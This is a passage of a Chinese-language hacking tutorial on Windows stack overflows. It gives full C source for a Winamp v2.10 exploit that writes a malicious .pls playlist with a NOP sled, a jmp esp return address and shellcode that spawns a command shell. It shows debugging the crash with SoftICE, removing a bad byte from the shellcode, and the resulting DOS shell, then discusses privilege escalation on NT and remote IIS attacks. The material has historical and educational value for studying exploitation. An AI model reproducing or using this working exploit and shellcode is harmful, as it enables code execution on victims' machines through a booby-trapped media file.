"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x4
5\xF4"
"\x50\xB8\x24\x98\x01\x78\xFF\xD0"
"\x55\x8B\xEC\xBA\xFF\xFF\xFF\xFF\x81\xEA\xFB\xAA\xFF\x87\x52\x33\xC0\x5
0\xFF\x55\xFC";
好了，所有的算法都讨论完了，下一讲我们就来实现一个exploit。
window系统下的堆栈溢出－－－－最后的完善
我们把前面写的测试程序稍加改动就是一个exploit程序：
exploit.cpp
------------------------------------------------------------------------
----
#include
int main()
{
char buffer[640];
char eip[8] = "\xa3\x95\xf7\xBF";
char shellcode[256] =
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"//load
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x4
5\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x50\x77\xF7\xbF\x52\x8
D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x6
4\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x4
5\xF4"
"\x50\xB8\x24\x98\x01\x78\xFF\xD0"
"\x55\x8B\xEC\xBA\xFF\xFF\xFF\xFF\x81\xEA\xFB\xAA\xFF\x87\x52\x33\xC0\x5
0\xFF\x55\xFC";
FILE *file;
for(int x=0;x<580;x++)
{
buffer[x] = 0x90;
}
file = fopen("crAsh.pls","wb");
fprintf(file, "[playlist]\n");
fprintf(file, "File1=");
fprintf(file, "%s", buffer);
fprintf(file, "%s", eip);
fprintf(file, "%s", shellcode);
fprintf(file, "\nNumberOfEntries=1");
fclose(file);
printf("\t created file crAsh.pls loaded with the exploit.\n");
return 0;
}
------------------------------------------------------------------------
----
OK，运行他，生成一个文件叫做crash.pls.在winamp里面打开这个playlist,
就应该出一个dos。出来了吗？
哎呀，怎么又是错误？
WINAMP 在 017f:004200c3 的模块
WINAMP.EXE 中导致无效页错误。
Registers:
EAX=00000001 CS=017f EIP=004200c3 EFLGS=00000206
EBX=006da30c SS=0187 ESP=006da171 EBP=006da2f4
ECX=00000000 DS=0187 ESI=00445638 FS=444f
EDX=005b02dc ES=0187 EDI=00000001 GS=4446
Bytes at CS:EIP:
00 85 f6 7d 06 03 35 dc 23 44 00 8b 6c 24 10 3b
Stack dump:
0a006da1 8000009d 0000442a 90000000 90909090 90909090
90909090 90909090 90909090 90909090 90909090 90909090
90909090 90909090 90909090 90909090
看看出错信息，EIP是4200c3,看来已经开始执行我们的shellcode了，怎么会有
无效页错误呢？看来我们的shellcode有问题。
这个时候，s－ice就又派上用场了，跟踪一下看看：
ctrl-d
bpx bff795a3(就是我们的jmp esp)
x
好，现在运行winamp，打开文件crash.pls,被s－ice拦下，开始跟踪。一个jmp
esp
之后，就到了我们的shellcode上，继续执行，看到了什么吗？
奇怪！我们的shellcode变短了，到B8249801，后面就没有了。这是怎么回事？
应该是\xB8\x24\x98\x01\x78呀，\x01到什么地方去了？
看来敌人把输入的溢出字符串作乐处理，把不能作为文件名的字符都作为0处理了
（事实上这是win32api函数作的处理）。我们的shellcode被截断了。
我在第4讲第一节就说过对这种问题的对策。这个问题的解决需要我们改换
shellcode，
去掉那些有问题的字符：\x01
我们作如下替换：
mov eax,78019824 ----> mov eax,ffffffff
sub eax,87fe67db
汇编得到：
xB8\x24\x98\x01\x78 ----> \xB8\xFF\xFF\xFF\xFF
\x2d\xdB\x67\xFe\x87
得到下面的新程序：
/* Stack based buffer overflow exploit for Winamp v2.10
* Author Steve Fewer, 04-01-2k. Mail me at [email protected]
*
* For a detailed description on the exploit see my advisory.
*
* Tested with Winamp v2.10 using Windows98 on an Intel
* PII 400 with 128MB RAM
*
* http://indigo.ie/~lmf
* modify by ipxodi 20-01-2k
* for windows98 the 2nd version and for a new shellcode.
* windows98 v 4.10.2222.A chinese version
* pII 366 with 64MB RAM(Not a good PC,en?）
* [email protected]
*/
#include
int main()
{
char buffer[640];
char eip[8] = "\xa3\x95\xf7\xbf";
char sploit[256] =
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x4
5\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA\x50\x77\xF7\xbF\x52\x8
D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x6
4\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x4
5\xF4"
"\x50\xB8\xFF\xFF\xFF\xFF\x2d\xdB\x67\xFe\x87\xFF\xD0"
"\x55\x8B\xEC\xBA\xFF\xFF\xFF\xFF\x81\xEA\xFB\xAA\xFF\x87\x52\x33\xC0\x5
0\xFF\x55\xFC";
FILE *file;
for(int x=0;x<580;x++)
{
buffer[x] = 0x90;
}
buffer[x]=0;
file = fopen("crAsh.pls","wb");
fprintf(file, "[playlist]\n");
fprintf(file, "File1=");
fprintf(file, "%s", buffer);
fprintf(file, "%s", eip);
fprintf(file, "%s", sploit);
fprintf(file, "\nNumberOfEntries=1");
fclose(file);
printf("\t created file crAsh.pls loaded with the exploit.\n");
return 0;
}
OK，运行他，生成一个文件叫做crash.pls.在winamp里面打开这个playlist,
结果如下，我可爱的dos出来了：
Microsoft(R) Windows 98
(C)Copyright Microsoft Corp 1981-1999.
D:\hacker\document\ipxodi>dir
..........................
.........就不贴了.........
--
--------------------------------------------------------------------------------
堆栈溢出系列讲座
window系统下的堆栈溢出--总结
经过这次实战的演练，大家一定对windows下的buffer overflow有了很深的掌握了
。
我们可以看到，windows下的堆栈溢出攻击和unix下的，原理基本相同。但是，
由于windows用户进程地址空间分配和堆栈处理有其独立的特点，导致了windows
环境下堆栈溢出攻击时，使用的堆栈溢出字符串，与unix下的，区别很大。这也
是我在写完linux下的堆栈溢出系列之后，另外写windows系列的原因。
另外，大家从破解的过程中，可以发现我一再强调windows的版本。事实上，这
也导致了windows下的exploit不具有通用性。大家的windows版本不一，
而exploit使用了很多动态链接库里面的库函数，其地址都是与dll的版本有
关系的。不同的dll版本，里面的库函数的偏移地址就可能（注意：是可能）
不同。因为windows的patch天天有，他的一些dll就更新很快。甚至可能不同
语言版本的windows，其核心dll的版本都不同。用户的dll一变更，
那么，我们的exploit里面的shellcode就要重新写。
为了解决这个问题，我想我们可以尽量减少固定地址的使用。即，使用
GetProcAddress来获得我们将使用的每一个系统函数，当然这就大大加长了
我们的shellcode。但是，这也无法消除对kernel32.dll的中LoadLibrary和
GetProcAddress的地址的直接引用，因为这两个是shellcode中最基本的
函数，自然就导致了对kernel32.dll版本的依赖。
这里奉劝大家，当你写的exploit发生无效页错误时，不要灰心。运行sice，
跟踪你的shellcode，会发现问题的根源的。
因此，这也回答了去年xsz,littleworm它们的问题。当时我们实验IIS4.0
的exploit总是没有成功，client端执行完了以后server端我们经常看到
access violation的框，就是因为shellcode的版本依赖问题导致的。
所以，对于windows下的堆栈溢出exploit，必须公开原代码，才能由其他人完成
别的版本的修改，这一点，大家以后公布exploit时，要记住。
说一句题外话：
很多人运行了堆栈溢出exploit以后没有成功，就认为自己的机器没有毛病。
对此，dark spyrit AKA Barnaby Jack曾有这样的建议：
If the exploit failed......
Do not determine the threat to your servers solely on the results of
one
public exploit - the vulnerability exists, fix it. If you think that
was
the only demonstration code floating around you need your head
examined.
以前咱们水木黑客版97年堆栈溢出大讨论的时候，raner就很高水平的探讨过
windows下的buffer overflow。他的文章现在还在，大家可以去精华区看看。
不过当时只是探讨原理，还停留在堆栈溢出的可行性，远没有探讨利用他来攻击。
我也曾经以为windows的堆栈溢出攻击是不必要的。
后来，NT的中普通用户获取admin，我想到过仿照UNIX，搞缓冲区溢出攻击。
因为NT里面有很多系统进程，都是以system账号启动的。如果我们可以将它们
overflow，按照上面的方法，可以得到dos，（NT下是cmd.exe），将拥有
超级用户的权限。当然可以为所欲为了。
这只是windows NT下堆栈溢出攻击的一个应用。去年，我研究IIS4.0的溢出之后，
发现带有问题的windows网络服务程序导致了windows堆栈溢出，可以帮助我们
获得远程控制。才认识到windows堆栈溢出攻击将是一个很有研究价值的攻击
手段。
在后续的研究中，有时候因为困难几乎要放弃。好在有小懒虫(sysword)，
小四(hellguard)，康师傅(kxn)这些网友
给我的督促和帮助。在此感谢，同时感谢以前一起讨论过windows系列堆栈溢出
的朋友littleworm,xsz它们。
最后，我希望我的讲座作为抛砖引玉，能够引发大家更深入的探讨。希望大家在
看了之后，能够对windows堆栈溢出技术有一定了了解。如果大家能够提出改进的
算法，或者发现新的exploit，就真正是光大了我们黑客版的精神。
让我们以下面这句话共勉：
"If you assume that there's no hope, you guarantee there will be no
hope.
If you assume that there is an instinct for freedom, there are
opportunities to change things."
-Noam Chomsky
转自：
http://blog.csdn.net/guang11cheng/article/details/7872088